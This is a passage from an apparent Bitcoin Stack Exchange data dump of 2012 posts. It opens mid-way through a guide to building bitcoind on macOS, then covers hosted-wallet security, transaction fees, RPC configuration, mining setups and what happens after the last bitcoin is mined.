CXX=llvm-g++&#xA;-DEPSDIR=/opt/local&#xA;+DEPSDIR?=/opt/local&#xA;&#xA; INCLUDEPATHS= \&#xA;  -I&quot;$(CURDIR)&quot; \&#xA;  -I&quot;$(CURDIR)&quot;/obj \&#xA;  -I&quot;$(DEPSDIR)/include&quot; \&#xA;- -I&quot;$(DEPSDIR)/include/db48&quot;&#xA;+ -I&quot;$(DEPSDIR)/include/db48&quot; \&#xA;+ -I&quot;/usr/local/Cellar/openssl/1.0.1c/include&quot;&#xA;&#xA; LIBPATHS= \&#xA;  -L&quot;$(DEPSDIR)/lib&quot; \&#xA;- -L&quot;$(DEPSDIR)/lib/db48&quot;&#xA;+ -L&quot;$(DEPSDIR)/lib/db48&quot; \&#xA;+ -L&quot;/usr/local/Cellar/openssl/1.0.1c/lib&quot;&#xA;&#xA; USE_UPNP:=1&#xA; USE_IPV6:=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start the build.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd bitcoin/src&#xA;make -f makefile.osx DEPSDIR=/usr/local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's now available at ./bitcoind. We have to first create the rpc configuration file, though. Run ./bitcoind to get the filename where it should be put, or just try the below text.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;rpcuser=bitcoinrpc&#xA;rpcpassword=HdAseQSRkirfoNuUSzqzixyL9sM1T6ABfzV1nyNmbuwg&quot; &amp;gt; &quot;/Users/${USER}/Library/Application Support/Bitcoin/bitcoin.conf&quot;&#xA;chmod 600 &quot;/Users/${USER}/Library/Application Support/Bitcoin/bitcoin.conf&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When next you run it, it will start downloading the blockchain, but it won't output anything while it's doing this. This process may take several hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine appears to be working fine, but it's still downloading the blockchain. I'll be able to tell after some testing if it's working normally or not, but I suspect that it is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspirations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/WyseNynja/homebrew-bitcoin/blob/master/bitcoind.rb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/WyseNynja/homebrew-bitcoin/blob/master/bitcoind.rb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/793/what-are-the-steps-in-building-bitcoind-on-mac-os-x-10-6&quot;&gt;What are the steps in building bitcoind on Mac OS X 10.6?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3672/trouble-compiling-bitcoind-on-osx-with-homebrew&quot;&gt;Trouble compiling bitcoind on OSX with homebrew&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-09-01T03:15:46.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5254" PostTypeId="2" ParentId="5190" CreationDate="2012-11-03T10:16:40.757" Score="2" Body="&lt;p&gt;Had Bitcoin be designed inflationary the first clone would have been a deflationary one. Given the choice most people would then have moved to the deflationary one for savings (keep or increase value). Thus an inflationary coin does not stand a chance.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2012-11-03T10:16:40.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5255" PostTypeId="2" ParentId="5249" CreationDate="2012-11-03T13:56:10.860" Score="30" Body="&lt;p&gt;As the operator of the site I will try and answer the first question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Server Side&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The site currently runs on 4 dedicated servers, hosted in a locked cabinet. All servers run  behind a dedicated cisco security appliance with intrusion detection. On the servers themselves various &quot;booby traps&quot; are set to alert the webmaster if an intrusion is detected. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The java code deployed to the Site is deployed in a single war (zip) file. Each server monitors the &lt;a href=&quot;https://github.com/blockchain/Checksum&quot; rel=&quot;nofollow noreferrer&quot;&gt;checksum of this file&lt;/a&gt; to detect any unauthorised changes to the code. In order to make reverse engineering our encryption schemes more difficult the the java class files are obfuscated using proguard. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A copy of every wallet is stored all our servers. Additionally the latest 50 versions of a wallet are stored on Amazon S3 and can be restored from the [Import / Export] section.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The server side code that handles wallets is &lt;a href=&quot;https://github.com/blockchain/My-Wallet/blob/master/WalletServlet.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;open source&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The site is not vulnerable to CSRF requests as no login details or sensitive data is ever saved in session cookies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the time the Site has been running there has been handful of XSS vulnerabilities reported. None of these were on a wallet page and could not have resulted in any direct loss of funds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Client Side&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Site uses javascript the encrypt and decrypt wallet client side in the user's browser. The encryption is done using &lt;a href=&quot;http://en.wikipedia.org/wiki/Advanced_Encryption_Standard&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-256&lt;/a&gt; which is likely to be secure for the foreseeable future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets are simply json files containing &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow noreferrer&quot;&gt;private keys&lt;/a&gt;. The entire json file is encrypted by the users browser before being uploaded to us. So when a wallet reaches our server is appears as random Base64 string. This means we cannot view your balance, see your transactions or addresses and cannot make transactions on your behalf. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The encryption is only as strong as the users password. The minimum password length is 10 characters however if the a weak password is chosen e.g. &quot;1234567890&quot; using a dictionary attack the wallet would likely be broken quickly. Rainbow tables will not work as each wallet is prepended with a unique salt combined with the users password using PBKDF2 to derive the actual encryption key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As everything is done using javascript in the site is particularly vulnerable to browser exploits including malicious browser extensions. Modern web browsers are much more secure than the internet explorer 6 generation. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The private keys in a wallet can be &quot;double encrypted&quot; using a second password. One password is then required to login and another password is required to send funds. This makes wallets significantly harder to brute force and also makes key logging more difficult.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If our servers were compromised the attacker could theoretically alter the javascript files to intercept the users password next time they login. For this to be effective the attack would have to go unnoticed for an extended period of time. In addition to the server side checks we perform there is also the &lt;a href=&quot;https://blockchain.info/wallet/verifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;My Wallet verifier&lt;/a&gt; browser extension which can be optionally installed for added security. Before login it will transparently verify all the javascript files running on the page match those hosted on &lt;a href=&quot;https://github.com/blockchain/My-Wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt;. If any errors are found the extension will prevent the user from logging in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can backup a wallet via Email, Dropbox, Google Drive and Download. With a backup funds can be accessed without blockchain.info using the &lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;multibit desktop client&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Site supports a variety of &lt;a href=&quot;http://en.wikipedia.org/wiki/Two-factor_authentication&quot; rel=&quot;nofollow noreferrer&quot;&gt;two factor authentication&lt;/a&gt; methods and the ability to lock down a wallet to a specific ip address. We will not give out your wallet to anyone who cannot authenticate themselves fully, however we cannot prevent someone from using your wallet if they gain access to it another way. For example if you keep a wallet backup in your email account and that is compromised.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This has got a little technical but it isn't an easy answer. There are many factors involved including the security of your own computer. The site has been running for over a year and currently hosts nearly 40,000 wallets. There have been reports of some individual wallets being compromised (reusing passwords) but no major security incidents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally a couple of recommendations for using our service:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Upon sign up print a &quot;Paper Wallet&quot;, store it somewhere safe and hidden.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Never reuse the same password on another site. Or if using double encryption it is acceptable to use a slightly weaker main password but ensure the second password is unique.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If storing large amounts generate a private key offline (&lt;a href=&quot;https://www.bitaddress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitaddress.org&lt;/a&gt; is great for this). Print it on a paper wallet, then import the address as &quot;Watch Only&quot; address. When you attempt to spend the funds you can scan the private key off the paper wallet using a webcam.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In future &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions&quot;&gt;multisig&lt;/a&gt; will be available for even greater security but this isn't quite ready yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Ben&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-11-03T16:31:06.743" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5256" PostTypeId="1" AcceptedAnswerId="5258" CreationDate="2012-11-03T22:28:53.030" Score="8" ViewCount="3860" Body="&lt;p&gt;I have the &lt;code&gt;bitcoin-qt&lt;/code&gt; client running on Ubuntu 12.10 and I see a transaction fee box in the preferences, but I am unsure of what it &lt;em&gt;actually&lt;/em&gt; means - the wiki is overly complex, and I am unable to find another help website about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give a easy to understand explenation of a minimum transaction fee. Do I have to pay it, or the sender? Etc.&lt;/p&gt;&#xA;" OwnerUserId="2156" LastEditorUserId="516" LastEditDate="2012-11-04T09:34:41.700" LastActivityDate="2012-11-04T09:34:41.700" Title="What is the minimum transaction fee used for?" Tags="|bitcoin-core|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5257" PostTypeId="2" ParentId="5256" CreationDate="2012-11-03T23:06:52.883" Score="4" Body="&lt;p&gt;The sender pays the transaction fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner gets the fees for all the transactions it puts into a block. Adding a fee makes your transaction more attractive to the miner and hence encourages them to add it to the next block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complexity in the wiki is due to extra features such as anti-spam measures to prevent someone sending lots of transactions that move very small amounts around (commonly called 'dust'). &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-11-03T23:06:52.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5258" PostTypeId="2" ParentId="5256" CreationDate="2012-11-04T01:06:04.847" Score="7" Body="&lt;p&gt;Under Options of the most recent release, v0.7.1, reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Optional transaction fee per kB that helps make sure your transactions&#xA;  are processed quickly. Most transactions are 1kB.  Fee 0.01&#xA;  recommended.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Pay transaction fee: 0.00000000 BTC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What that field does is always add at least N BTC fee to every transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When sending a transaction, the Bitcoin.org client will do a computation and insist on a fee to be paid if it determines the transaction will not be processed promptly unless a fee is paid.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all transactions require a fee.  If the amount of the payment is not small or the coins are not newly received (or both), then you can likely send a transaction using the Bitcoin-Qt client without paying a fee.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's always a chance that without paying a fee that your transaction will not be processed in a timely manner, as it is up to the miner or pool operator whether or not to include your transaction when mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So some people will use this optional fee field to make it so that every transaction goes out with a fee and thus no transactions sent will be delayed for the reason that no fee had been paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do you have to pay a fee?   The Bitcoin.org client will generally tell you when you do need to pay a fee and when it does, then yes -- you must pay it or use some other client that doesn't perform this check.   But if it doesn't tell you to pay a fee, then you don't need to pay a fee but your transaction could still end up being delayed as a result.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-04T01:06:04.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5259" PostTypeId="1" CreationDate="2012-11-04T02:58:54.617" Score="4" ViewCount="481" Body="&lt;p&gt;When I go to bitcoind using &quot;bitcoind -daemon&quot; in Windows 7, it won't run in the background. When I type that, it just sits there and does nothing. If I keep it like that and open another command prompt and use eg. &quot;bitcoind getpeerinfo&quot; , it says it can't get a lock on some directory.&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2012-11-04T15:54:45.343" Title="Why won't bitcoind work correctly on windows 7?" Tags="|bitcoind|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5260" PostTypeId="2" ParentId="5259" CreationDate="2012-11-04T06:18:33.763" Score="3" Body="&lt;p&gt;What are you expecting it to do?  It is a daemon (server) that is waiting for RPC connections on port 8333.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your bitcoin.conf needs to have configured the rpcuser and rpcpassword.  Then you can access the bitcoin API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin-Qt version 0.7 and higher, the Debug window gives you access to run a console, so you don't need to run bitcoind if you are just trying to execute some commands interactively.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-04T15:54:45.343" LastActivityDate="2012-11-04T15:54:45.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5261" PostTypeId="2" ParentId="450" CreationDate="2012-11-04T18:17:04.707" Score="1" Body="&lt;p&gt;If you know the TX number, you can go to blockchain.info, search the TX number, click &quot;View Tree Chart&quot; and a tree chart will show up and you can click on the yellow/orange circles. That is how I found out a bitcoin I sent to an exchange ended up plying ping-pong with SatoshiDice.&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2012-11-04T18:17:04.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5262" PostTypeId="1" AcceptedAnswerId="5263" CreationDate="2012-11-05T00:51:39.703" Score="0" ViewCount="496" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1638/what-could-be-the-consequences-of-many-bitcoins-being-lost-out-of-circulation-if&quot;&gt;What could be the consequences of many bitcoins being lost out of circulation if people lose their wallets?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;So I am trying to comprehend this Bitcoins system so please bare with me if I get it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I care at all about my bitcoin wallet I should back it up, otherwise, if I have coins in my wallet and then lose my wallet.dat then my coins are gone forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also heard somewhere that after a while coins will no longer be able to be mined. If this is the case, and tons of people lose their wallet.dat (for whatever reason. eg. Virus, format, new PC, etc), would that cause coins to get more and more hard to find, which in turn would make coins be worth more, but would &quot;mining start again&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this sounds stupid I'm still new at this.&lt;/p&gt;&#xA;" OwnerUserId="2162" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-04-28T13:39:17.167" Title="Losing bitcoins" Tags="|wallet|mining-theory|money-supply|" AnswerCount="2" CommentCount="1" ClosedDate="2012-11-24T20:11:05.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="5263" PostTypeId="2" ParentId="5262" CreationDate="2012-11-05T03:45:36.827" Score="2" Body="&lt;p&gt;A wallet holds the private keys necessary to spend bitcoins.  If you are running the Bitcoin.org client and lose access to your wallet.dat then a backup copy of the wallet is the only way you can be able to spend the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have no backup or can't access the backup then the funds are gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People that prefer not to have the responsibility for keeping a backup of their wallet might like to use an EWallet, such as Coinbase and Paytunia, which are hosted (shared) EWallets, or Blockchain.info/wallet which is a hybrid wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as mining to recover coins, there is no recovery ever for the funds from the lost wallet.  They are gone forever.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-05T03:45:36.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5266" PostTypeId="1" AcceptedAnswerId="5271" CreationDate="2012-11-05T21:23:34.747" Score="5" ViewCount="13581" Body="&lt;p&gt;I use cgminer on Ubuntu 12.10 to mine bitcoins in the 50BTC pool. I have three workers set up. If I run multiple instances of cgminer, each targeted at their respective workers (1, 2, and 3), would this increase profits or just waste power?&lt;/p&gt;&#xA;&lt;p&gt;I notice this because cgminer only uses about 80-90% of my GPU (Radeon HD 6570) anyway.&lt;/p&gt;&#xA;" OwnerUserId="2156" LastEditorUserId="2156" LastEditDate="2021-03-08T12:22:32.103" LastActivityDate="2021-03-08T12:22:32.103" Title="Better or worse to mine multiple workers on one machine?" Tags="|cgminer|miner-configuration|gpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5267" PostTypeId="1" CreationDate="2012-11-06T02:23:38.307" Score="17" ViewCount="27646" Body="&lt;p&gt;Can I just make up a value for rpcuser/rpcpassword in bitcoin.conf? Or do I have to set one up somewhere?  &lt;/p&gt;&#xA;" OwnerUserId="2170" LastEditorUserId="47827" LastEditDate="2021-08-25T16:00:37.500" LastActivityDate="2022-10-28T18:15:23.303" Title="What is rpcuser?" Tags="|bitcoind|json-rpc|authentication|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5268" PostTypeId="1" CreationDate="2012-11-06T06:01:51.050" Score="1" ViewCount="1986" Body="&lt;p&gt;While mining with multiple devices GPU, FPGA, etc. at home/work/school, does each device work on its own block or can you combine the resources of each mining device into 1? Say if each device can mine at 1GHash/s, 5 devices for an overall 5GHash/s between all devices. Can you set it up to where that 5GH/s is used on 1 block instead of 5 blocks? As it would reduce the block validation time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can combine the resources of the solo mining operation, I assume setting up a private/solo btc pool is inorder. Would you use long polling in this instance or not?&lt;/p&gt;&#xA;" OwnerUserId="2172" LastEditorUserId="5406" LastEditDate="2016-03-31T10:30:45.660" LastActivityDate="2016-03-31T10:30:45.660" Title="Is it useful to have miners work on the same block instead of parallel solo mining?" Tags="|mining-pools|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5269" PostTypeId="2" ParentId="5268" CreationDate="2012-11-06T07:23:16.820" Score="2" Body="&lt;p&gt;It doesn't really matter all that much. A set of workers working for the same block or each working for an individual block yields you the same profit on average. The only downside is that in order to mine for blocks you either need to have bitcoind running, or join a pool. If you want to mine a few blocks at once, you will need to be running a couple bitcoind instances. The easier setup is to just have one bitcoind running and have all your miners connect to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, that's the ideal situation anyway. Realistically, you won't ever mine a block this way. You can check out &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;my mining calculator&lt;/a&gt; and plug in your numbers. How long is your time to generate one block? Can you wait 5 times that? Probably not. You ought to join a mining pool to get smaller rewards more often. But do it fast, as soon ASIC miners will go in and make your profits really small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you'll be joining a pool, logically you'd have all your workers connected to the same pool. Connecting to multiple pools wouldn't change your profits, perhaps it would smooth out your earnings a bit, but the change would be insignificant if you are using big pools.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-06T07:23:16.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5270" PostTypeId="2" ParentId="5267" CreationDate="2012-11-06T09:50:16.613" Score="10" Body="&lt;p&gt;You can set any values you want for &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; in &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Sample_Bitcoin.conf&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.conf&lt;/a&gt;. Those values will be your username and password when you will be connecting to your bitcoind through HTTP JSON RPC. Also be sure to set other important values in .conf file, like &lt;code&gt;server&lt;/code&gt;, &lt;code&gt;rpcallowip&lt;/code&gt; and a few others to ensure your server is running correctly and securely.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-06T09:50:16.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5271" PostTypeId="2" ParentId="5266" CreationDate="2012-11-06T09:52:52.597" Score="1" Body="&lt;p&gt;You ought to test the setup on the machine you will be using. Generally the mining software should efficiently use the entire GPU, but it might happen that it will not and actually running two instances at the same time will allow you to tap into more computing power. But again, check your speed while running one or more instances and see which one gives you more total speed.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-06T09:52:52.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5272" PostTypeId="1" CreationDate="2012-11-06T20:42:09.253" Score="3" ViewCount="2185" Body="&lt;p&gt;What is the correct way for an Etsy shop owner to sell their items using bitcoin? Does Etsy even allow it? Will they freeze my account?&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2014-06-10T15:38:29.457" Title="Can I sell items on Etsy using Bitcoin?" Tags="|payment|merchants|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5273" PostTypeId="2" ParentId="5272" CreationDate="2012-11-06T20:42:09.253" Score="4" Body="&lt;p&gt;Etsy merchants that accept bitcoin have been tagging their shop items with 'bitcoin' so that a simple search shows what is available:&#xA;&lt;a href=&quot;http://www.etsy.com/search?q=bitcoin&quot;&gt;http://www.etsy.com/search?q=bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An email to support@etsy.com got this response about being allowed to use bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;If you would like and are able to support a third party payment system, you are welcome to use another payment service.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also included instructions for how to setup your cart so that people can easily pay:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;To do that, click Your Shop &gt; Shipping &amp;amp; Payment &gt; Payment Methods. Select 'Other' as a method. Then, indicate which service you use in your Shop Announcement, listings and/or Policy Page. After the buyer has purchased an item using 'Other,' you can contact them with instructions and/or an invoice so they can pay through your preferred method.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable the 3rd party 'Other' checkout option, and when someone orders an item you can send them your bitcoin payment address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also join the Etsy Team Bitcoin page, and there is Discussion threads for you to ask questions. The team page has information on the different bitcoin wallets you can use such as coinbase.com or downloading the reference bitcoin client from bitcoin.org.&#xA;&lt;a href=&quot;http://www.etsy.com/teams/10366/bitcoin&quot;&gt;http://www.etsy.com/teams/10366/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2012-11-06T20:42:09.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5274" PostTypeId="1" CreationDate="2012-11-06T21:09:23.157" Score="8" ViewCount="4473" Body="&lt;p&gt;I am trying to get the address the bitcoins were last owned by or the &quot;from&quot; address, I know that if you send bitcoins back to that address not in all cases will the user actually get them but I still need the code for it. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking it has something to do with Program.b.GetTransaction()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have an address, and coins are sent to that address, I want to find out the address the coins were sent from, I have a different address for every transactions specially for this.&lt;/p&gt;&#xA;" OwnerUserId="2174" LastActivityDate="2014-03-26T23:58:22.960" Title="Bitcoin C# .NET API" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5275" PostTypeId="1" AcceptedAnswerId="5276" CreationDate="2012-11-06T22:49:52.767" Score="41" ViewCount="27325" Body="&lt;p&gt;After the 21 millionth bitcoin or 20,999,999th bitcoin is mined, what will happen to bitcoin mining? - will it just stop, or will we make a further division of the satoshi thanks to Bitcoin's infinite divisibility? Or maybe miners could mine a share of the Bitcoin transaction fee...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions/mathematical answers are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2156" LastEditorUserId="5406" LastEditDate="2016-02-08T15:38:03.000" LastActivityDate="2019-04-12T21:36:33.387" Title="What will happen to mining after the 20 999 999th Bitcoin?" Tags="|mining-reward|bitcoin-economy|reward-schedule|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5276" PostTypeId="2" ParentId="5275" CreationDate="2012-11-07T00:15:03.660" Score="26" Body="&lt;p&gt;Assuming Bitcoin is still active at that point in time, mining will continue, because &lt;a href=&quot;https://bitcoin.stackexchange.com/a/112/516&quot;&gt;transaction fees will make it worthwhile to do so&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This topic has been discussed heavily in other answers, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4796/what-happens-once-mining-reward-gets-cut-in-half&quot;&gt;What happens once the mining reward gets cut in half?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;How many bitcoins will there eventually be?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/876/how-much-will-transaction-fees-eventually-be&quot;&gt;How much will transaction fees eventually be?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last link has suggestions that the fee mechanism of Bitcoin may need changing, though that's yet to be proven whether or not it will be a real problem.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-11-07T00:15:03.660" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5277" PostTypeId="2" ParentId="91" CreationDate="2012-11-07T02:05:23.847" Score="1" Body="&lt;p&gt;You can buy or sell bitcoins by connecting any U.S. bank account on &lt;a href=&quot;https://coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-11-07T02:05:23.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5278" PostTypeId="2" ParentId="5275" CreationDate="2012-11-07T02:06:01.010" Score="16" Body="&lt;p&gt;Every block has exactly one &quot;coinbase transaction&quot;, the one transaction which doesn't have actual inputs, but gets all the fees and mining subsidy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every 210000 blocks, this subsidy halves. Right now, each block is allowed (not required!) to bring 50.00000000 BTC into circulation. Very soon, this will become 25.00000000. Four years later, 12.50000000. And this will continue: 6.25, 3.125, 1.5625, and so on. There are only 8 decimals though, and at some point the subsidy will only be 0.00000001. Four years after that, it will effectively become zero. This will not happen this century, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't mean that there won't be any blocks produced anymore. Assuming Bitcoin is still alive, we'll still have blocks being produced every 10 minutes. Miners will just get all their income from fees, without any subsidy.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-07T02:06:01.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
